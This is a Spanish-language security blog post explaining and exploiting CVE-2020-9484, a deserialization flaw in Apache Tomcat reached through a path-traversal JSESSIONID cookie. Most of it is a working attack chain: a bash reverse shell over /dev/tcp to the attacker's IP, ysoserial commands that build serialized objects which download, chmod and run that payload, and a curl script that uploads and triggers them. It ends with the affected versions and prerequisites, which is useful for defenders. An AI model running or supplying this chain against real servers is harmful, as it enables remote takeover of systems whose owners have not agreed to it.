CVE-2020-9484: RCE mediante deserialización en Apache Tomcat con PersistentManager

Hoy vamos a ver la explotación de la vulnerabilidad CVE-2020-9484 que publicó Jarvis Threedr3am, de pdd security research, a comienzos del verano pasado y que permite ejecución remota de código a través de deserialización en versiones de Apache Tomcat anteriores a abril de 2020. 

Eso sí, para que el servidor Tomcat objetivo sea vulnerable además los administradores tienen que haber configurado el uso de PersistentManager editando el archivo conf/context.xml, ya que por defecto Tomcat se ejecutará con StandardManager

  • StandardManager mantendrá las sesiones en la memoria. Si tomcat se cierra correctamente, almacenará las sesiones en un objeto serializado en el disco (llamado "SESSIONS.ser" por defecto). 
  • PersistentManager hace lo mismo, pero con un extra: hacer swapping de sesiones inactivas/idle. Si una sesión ha estado inactiva durante x segundos, se moverá al disco. Es una forma de reducir el uso de memoria. 

Cuando Tomcat recibe una solicitud HTTP con una cookie JSESSIONID, le pedirá al Manager que verifique si esa sesión ya existe. Como se controla el JSESSIONID ¿qué pasa por ejemplo si lo seteamos a un valor como "JSESSIONID=../../../../../../tmp/12345"? 

  • Tomcat solicita al Manager que verifique si existe una sesión con el ID de sesión "../../../../../../tmp/12345"
  • Primero verificará si tiene esa sesión en la memoria. 
  • Si no es así y está configurado PersistentManager verificará si tiene la sesión en el disco.
  • Verificará en el directorio + sessionid + ".session", por lo que se evalúa como “./session/../../../../../../tmp/12345.session“ 
  • Si el archivo existe, lo deserializará y analizará la información de la sesión.

Entonces, ya ha os habéis imaginado que necesitamos cargar un objeto serializado malicioso en un path interno de la máquina para que podamos recuperarlo a través de la cookie JSESSIONID y poder conseguir RCE. 

La aplicación web devolverá un error HTTP 500 cuando se explote, porque encontrará un objeto serializado malicioso en lugar de uno que contiene información de sesión como se espera.

Así que amos a ello. Por ejemplo empezaremos con un script en bash para una shell reversa en el puerto 1337: 

payload.sh

#!/bin/bash
bash -c "bash -I >& /dev/tcp/<MY KALI IP>/1337 0>&1"

A continuación, usando ysoserial, crearemos tres archivos, uno para descargar nuestro payload, otro para darle permisos 777 y finalmente otro para ejecutarlo.

downloadPayload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'curl http:///payload.sh -o /tmp/payload.sh' > downloadPayload.session 

chmodPayload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session execute

Payload.session 

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session 

A partir de este punto, podemos lanzar los comandos uno a uno mediante curl, juntándolos por ejemplo mediante un simple script en bash:

#!/bin/bash
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'
Ahora, con todos estos archivos en el mismo directorio, levantaremos un web server para servirlos al objetivo y un listener para la sesión reversa. 

Ejecutamos el script y, ¡tenemos ejecución remota de código! 

En resumen, recordar que los requisitos previos para ser vulnerable son: 

  • Que contenga una versión afectada, en concreto:     
  • Apache Tomcat 10.x <10.0.0-M5
  • Apache Tomcat 9.x <9.0.35
  • Apache Tomcat 8.x <8.5.55
  • Apache Tomcat 7.x <7.0.104
  • El atacante puede subir un archivo arbitrario, tiene control sobre el nombre del archivo y conoce la ubicación donde se sube.
  • El PersistentManager está habilitado y está usando un FileStore
  • El PersistentManager está configurado con sessionAttributeValueClassNameFilter="null" (el valor predeterminado a menos que se use un SecurityManager) o un filtro lo suficientemente laxo para permitir que el objeto proporcionado por el atacante sea deserializado

Con el siguiente script podemos ver si se cumplen los requisitos anteriores en la máquina de la víctima para ver si es vulnerable: https://github.com/osamahamad/CVE-2020-9484-Mass-Scan 

Fuentes:

Comentarios